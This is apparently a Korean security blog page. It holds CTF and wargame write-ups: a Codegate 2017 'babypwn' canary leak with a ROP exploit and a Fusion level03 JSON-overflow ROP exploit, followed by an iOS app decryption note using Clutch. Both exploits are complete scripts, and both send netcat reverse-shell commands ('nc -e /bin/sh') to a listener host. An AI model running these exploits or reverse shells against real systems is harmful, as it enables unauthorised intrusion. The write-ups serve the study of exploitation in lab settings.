[*] stage 0 : leak canary

[+] Opening connection to 192.168.231.128 on port 8181: Done

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒

▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒

===============================

1. Echo

2. Reverse Echo

3. Exit

===============================

Select menu > 

Input Your Message : 

00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaaaaaaaaaaaaaa│

*

00000020  61 61 61 61  61 61 61 61  61 75 16 35  f4 ff 75 b7  │aaaaaaaaau·5│··u·

00000030

[*] Closed connection to 192.168.231.128 port 8181



붉게 표시된 부분이 leak 된 canary 값이다.  40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서 


canary 첫번째 바이트는 0x00 임을 알 수 있다.


즉, 0x35167500 일 것이다.(little endian 이니)





이제 전체적인 rop exploit 을 구성해서 공격하면 된다.


간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.


pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.


조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출, 


없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.



rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())






아래는 전체 코드이다.




babypwn


#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[*] codegate 2017 babypwn exploit by hyunmini"

e = ELF('./babypwn')
rop = ROP(e)

log.info("stage 0 : leak canary")
r = remote("192.168.231.128",8181)
print r.recvuntil('menu > ')
r.send('1\n')
print r.recv(1024)
r.send('a'*41)
recv_buf = r.recv(1024)[41:44]
print hexdump(recv_buf)
canary = u32('\x00' + recv_buf)
log.info("found canary : 0x%x" % canary)

cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777"
#cmd = "cat flag | nc 192.168.231.1 7777"
rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())

payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n'

log.info("stage 1 : eip control")

p = remote("192.168.231.128",8181)

print p.recvuntil('menu > ')
p.send('1\n')

print p.recvuntil('Message : ')
p.send(payload + '\n')

print p.recvuntil('menu > ')

p.send('3\n')
p.send(cmd)





# ./babypwn.py

=============================================


hyunmini:codegate2017 $ nc -lv 7777

ls

babypwn

cd ..

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

wargame - fusion / level03

2017.02.27 11:37


LEVEL03


level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.




>>> print e.checksec()

RELRO:    No RELRO

Stack:    No canary found

NX:       NX enabled

PIE:      No PIE

RPATH:    '/opt/fusion/lib'

FORTIFY:  Enabled




소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다. 





입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까





또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.


두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다. 





검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다. 


결론부터 말하면 while 구문 내부의 조건식이 



1) src 가 널바이트가 아니고

 

           &&


2) dest 가 end 랑 다르면



이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다. 


소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서


dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고


실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.  







먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.


def find_collision(token, payload):
	i = 0
	while 1:	
		json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC)
		tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest()
		if tmp_hmac[0:2] == "\x00"*2:
			log.success("found collision request : %s" % json_req)
			return json_req
			break
		i += 1




다음은 eip 변조 테스트.



buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB"   # 34 + eip


req_col = find_collision(token, buf)

r.send(req_col)


gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB66C  EIP: 0x08049E08
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[0x007B:0xBFDAB66C]------------------------------------------------------[stack]
0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A.....
0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............
0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................
0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................
0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................
0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............
--------------------------------------------------------------------------[code]
=> 0x8049e08 <handle_request+264>:	ret    
   0x8049e09 <handle_request+265>:	lea    esi,[esi+eiz*1+0x0]
   0x8049e10 <handle_request+272>:	mov    DWORD PTR [esp+0x4ac],0x80
   0x8049e1b <handle_request+283>:	mov    DWORD PTR [esp],ebx
   0x8049e1e <handle_request+286>:	call   0x8048da0 <json_object_get_string@plt>
   0x8049e23 <handle_request+291>:	lea    edx,[esp+0x4ac]
   0x8049e2a <handle_request+298>:	mov    DWORD PTR [esp+0x8],edx
   0x8049e2e <handle_request+302>:	lea    edx,[esp+0x42c]
--------------------------------------------------------------------------------
0x08049e08 in handle_request () at level03/level03.c:193
193	in level03/level03.c
gdb$ 
--------------------------------------------------------------------------[regs]
  EAX: 0xFFFFFFFF  EBX: 0x41414141  ECX: 0xB7562398  EDX: 0xFFFFFFFF  o d I t S z a P c 
  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFDAB670  EIP: 0x42424242
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()


정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를


이용한 rop 는 조금 제약이 있었다. 






여러번 삽질 후 세운 payload 는 아래와 같다.



1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 system 인자값 쓰기

 

    memcpy(bss+4,gContents,4)        // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)


3) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command



은 실패했다. 




실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음.. 




아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,


leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!




1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)


2) memcpy 로 bss 에 srand@plt, command 쓰기

 

    memcpy(bss, srand@plt,4)             

    memcpy(bss+8, gContents, len(cmd))    


3) leave 를 이용하여 fake ebp


    ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조


4) srand plt(system) 호출


    srand@plt(bss+8)    // reverse nc command





아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop


가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.


#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"


REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"

def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)





# ./ex3_exploit.py     // exploit 성공



hyunmini:solve $ nc -lv 7777

id

uid=20003 gid=20003 groups=20003

uname -a

Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux





'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level01  (0) 2016.12.28
wargame - fusion / level00  (2) 2013.09.23


오랫만에 ios 앱 해킹을 다시 하려다 보니 가물가물해서 간단히 다시 정리하기로 했다. 







복호화 - Clutch 

(https://github.com/KJCracks/Clutch/releases)




# wget  https://github.com/KJCracks/Clutch/releases/download/2.0.4/Clutch-2.0.4


# chmod 755 ./Clutch-2.0.4


# Clutch -i


Installed apps:

1:   *알리미 <com.*******.smartcaremgr>

2:   Find My iPhone <com.apple.mobileme.fmip1>

3:   Google Authenticator <com.google.Authenticator>

4:   Chrome - web browser by Google <com.google.chrome.ios>

5:   Hangouts <com.google.hangouts>

6:   Google Drive - free online storage <com.google.Drive>

7:   신한S뱅크 <com.shinhan.sbank>

8:   Google Sheets <com.google.Sheets>




# Clutch -b 1


ASLR slide: 0x3a000

Dumping <NotificationService> (armv7)

Patched cryptid (32bit segment)

ASLR slide: 0x8d000

Dumping <NotificationContent> (armv7)

Patched cryptid (32bit segment)

Writing new checksum

Writing new checksum

ASLR slide: 0x19000

Dumping <SMail> (armv7)

Patched cryptid (32bit segment)

Writing new checksum

Finished dumping com.shinhan.smartcaremgr to /var/tmp/clutch/59213352-****-4411-****-1A8D42C57BC5

Finished dumping com.shinhan.smartcaremgr in 2.6 seconds




Clutch 업데이트가 중단된걸로 알았었는데 2.0.4 버전이 작년에 나왔다. -i 로 목록을 본 후 -b 로 번호만 지정해주면 끝.

'iOS App Hacking' 카테고리의 다른 글

ios 앱 사용자 함수 hooking (using frida)  (2) 2017.08.16
ios app 복호화 - Clutch 2.x 버전  (0) 2017.02.14
iOS App Debugging - LLDB  (1) 2015.08.18
iOS App Runtime 조작  (0) 2015.08.17

+ Recent posts

티스토리 툴바